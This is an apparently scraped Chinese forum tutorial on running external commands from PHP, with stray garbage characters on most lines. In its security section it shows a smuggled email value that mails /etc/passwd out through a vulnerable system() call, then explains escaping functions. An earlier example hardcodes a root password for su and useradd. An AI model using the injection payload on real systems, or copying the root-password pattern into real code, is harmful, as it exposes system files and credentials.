|
作者:Fluke 中文PHP论坛
! r$ l" _, S7 p1 w8 \+ Y PHP作为一种服务器端的脚本语言,象编写简单,或者是复杂的动态网页这样的任务,它完全能够胜任。但事情不总是如此,有时为了实现某个功能,必须借助于操作系统的外部程序(或者称之为命令),这样可以做到事半功倍。 $ v; s# I/ x4 j6 Z: y. m* l: E7 X
那么,是否可以在PHP脚本中调用外部命令呢?如果能,如何去做呢?有些什么方面的顾虑呢?相信你看了本文后,肯定能够回答这些问题了。 # _) S8 F0 u2 c% n& F4 R! K2 ~0 S" k
是否可以? 4 V+ C4 |/ x2 K
答案是肯定的。PHP和其它的程序设计语言一样,完全可以在程序内调用外部命令,并且是很简单的:只要用一个或几个函数即可。 6 q1 y: f {0 X1 ^ P4 k6 E1 T* J4 p1 w
前提条件 * X i8 V5 W5 b" O
由于PHP基本是用于WEB程序开发的,所以安全性成了人们考虑的一个重要方面。于是PHP的设计者们给PHP加了一个门:安全模式。如果运行在安全模式下,那么PHP脚本中将受到如下四个方面的限制:
4 c6 C' T, N$ Q( Q4 S: a) G+ u* m 执行外部命令 7 J( B3 S: q x/ Z$ S8 w
在打开文件时有些限制
4 w" }5 Z0 l% S' o5 ? 连接MySQL数据库 9 j+ C/ _% d& |1 q0 }
基于HTTP的认证
1 s3 C0 B, P3 Y% u' {# |" z ] 在安全模式下,只有在特定目录中的外部程序才可以被执行,对其它程序的调用将被拒绝。这个目录可以在php.ini文件中用safe_mode_exec_dir指令,或在编译PHP是加上--with-exec-dir选项来指定,默认是/usr/local/php/bin。
6 x# U: E8 a! y4 R$ } 如果你调用一个应该可以输出结果的外部命令(意思是PHP脚本没有错误),得到的却是一片空白,那么很可能你的网管已经把PHP运行在安全模式下了。
' ?7 q% a. m# { 如何做?
5 c' R3 A1 k( C 在PHP中调用外部命令,可以用如下三种方法来实现: , _# o& c1 X" [: d' m& s
1) 用PHP提供的专门函数 * g1 J' g9 N& i* K' d( O; X3 W4 K
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
4 {7 R) H6 o3 J( V$ c" e& C. }6 G( } system() % S1 r; I& X! z
原型:string system (string command [, int return_var]) . h R. d( b) }6 s% a8 V- w
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。 % b$ G. p0 q# ~+ O/ ?
例子:
% b: n% V' x' i# t" Z; k# P <?
: ^5 L. Y; I5 ^' n4 n system("/usr/local/bin/webalizer/webalizer"); ! R+ t c, X; l2 K% d
?> - {9 r% Z" z. y' B7 }7 B w% k
exec()
) Q6 @5 z$ Y& d' L 原型:string exec (string command [, string array [, int return_var]]) / @/ `. T+ ~8 T+ M% [& u( p
exec()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二个参数时,才可以用第三个参数,用来取得命令执行的状态码。 # S4 P! T$ a, P9 @% e
例子: 0 n) S5 }3 m' S( `- X
<?
. a# K, X5 F4 E2 T2 Y$ u5 O) k exec("/bin/ls -l"); 5 E0 J: B) N, V5 V4 z5 i5 c
exec("/bin/ls -l", $res);
0 }6 `! `( i2 w& I8 x #$res是一个数据,每个元素代表结果的一行
& Z8 f5 a, v: T6 n0 b, V, K5 v# c exec("/bin/ls -l", $res, $rc);
0 f$ b4 q4 V& ?! B* C #$rc的值是命令/bin/ls -l的状态码。成功的情况下通常是0 # |! ]! q2 I: ^5 J
?> 7 v. x* ?( e8 j7 d
passthru() ; i8 W1 c3 e' K. L5 T; |
原型:void passthru (string command [, int return_var]) # D1 {7 j0 t8 g& _
passthru()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。 % z$ o! [5 q9 x. |7 C% y% v
例子: ( `- J& w% t* H% ~
<? ' i- s9 u' M# N+ K' m
header("Content-type: image/gif");
* E7 D- p0 }8 R2 B4 v# j! Q passthru("./ppmtogif hunte.ppm"); ; R' g* U/ F. P2 S! k9 Z5 o
?> * ]. w2 ?" N8 P6 Y
2) 用popen()函数打开进程 5 g% e" x2 @# e& `/ p
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。 4 r, \( _9 N- x
popen()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭它。
' }1 [( C: S3 z: V# _ 例子1:
( D8 p, B( G! n$ [) _2 B <?
" X) W+ B8 F9 U1 I& o $fp=popen("/bin/ls -l", "r");
% B1 u5 }. }. ^; ^3 J$ p ?>
7 n0 Z( F9 G |0 F* v+ H; Y 例子2(本例来自PHP中国联盟网站http://www.phpx.com/show.php?d=col&i=51):
# o: ?$ d7 Y+ }% \* }! C, u <?
# F% u; f# I7 _$ s9 _- w. w" H) _ /* PHP中如何增加一个系统用户 # d& c$ N5 { F
下面是一段例程,增加一个名字为james的用户,
5 A. e& U1 F# ~. [+ Z9 ^ root密码是 verygood。仅供参考
( K9 z- V" w r3 P, S */ $ H% G- S) r8 z" y- d2 W4 H; e! ?, Z
$sucommand = "su --login root --command";
) \% n( R5 u4 c3 B T' t $useradd = "useradd ";
g6 l$ B: F# ^/ K d $rootpasswd = "verygood"; # a3 d2 c$ ^3 H! Z: x! ~: c
$user = "james"; F! M/ F, w0 o
$user_add = sprintf("%s "%s %s"",$sucommand,$useradd,$user);
: e" _9 f* ]% n" b# A $fp = @popen($user_add,"w");
) }2 q( N: V& F4 }% Y6 }5 p @fputs($fp,$rootpasswd); 9 u3 @) B% f- R, r# p
@pclose($fp); ( r' @+ ?: W+ U; G5 M3 z2 _
?>
& W) w, j7 i2 o+ f 3) 用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
+ Q4 B1 r7 g( [- ^ 这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如: , ]+ n ?+ J: Q9 i) h1 X& J
<?
2 C4 E1 x6 F+ z( O+ `$ a& L1 m1 L $res=`/bin/ls -l`; . k* x. \8 ]' }3 x
echo '<b><pre>'.$res.'</pre></b>'; , w" m& }) H& j9 F: \
?> - V2 h. I* k, x7 S5 r( K/ ?
这个脚本的输出就象:
' L# ^; V7 ?3 e" b0 y+ k hunte.gif
. r* a2 l4 l- q0 [4 w5 X hunte.ppm & A7 v7 N! z3 p; K" A
jpg.htm 0 H0 t8 K3 h% l8 F" O% n
jpg.jpg 4 ?9 J) }7 N) O7 q: d1 a7 L) y
passthru.php
1 r1 e$ n5 f) z' d5 @% p 要考虑些什么? 0 n3 o, A2 `& B
要考虑两个问题:安全性和超时。 . }, w" H% @8 b# c, x* W- a
先看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这个文件。程序就象这样: / o: r& I3 R) U: U/ a5 _
<?
8 K, E( N. C7 ]( Y/ w0 C$ ?* h system("mail $to < products.txt");
2 W2 n, R+ q( Z7 G& ]! B echo "我们的产品目录已经发送到你的信箱:$to";
9 u; g0 J* l2 v3 j! h ?> 8 G% k$ p: a& r
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址: ' o. b1 Z. w8 d6 {, [4 h
'--bla ; mail someone@domain.com < /etc/passwd ;'
; d/ R. _* ^& {+ E; Q9 u# m& W 那么这条命令最终变成:
/ A# o3 ~4 C6 @' O8 d6 S- j6 Z 'mail --bla ; mail someone@domain.com < /etc/passwd ; < products.txt' + d5 _/ R4 B0 ?& `- k4 R7 Q
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
" S K1 C. T/ ?9 B9 L3 M/ y% Q 幸好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。 . G& M5 t, S# y
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是把命令的输出重定向到另外一个文件或流中,如: " a2 e5 i$ U& E! @
<? _- f' }) w: e2 p
system("/usr/local/bin/order_proc > /tmp/null &");
. I9 ^6 p. z; U# _: g* I' g ?>
+ e- s' S8 p. C- u% y ?# ^ |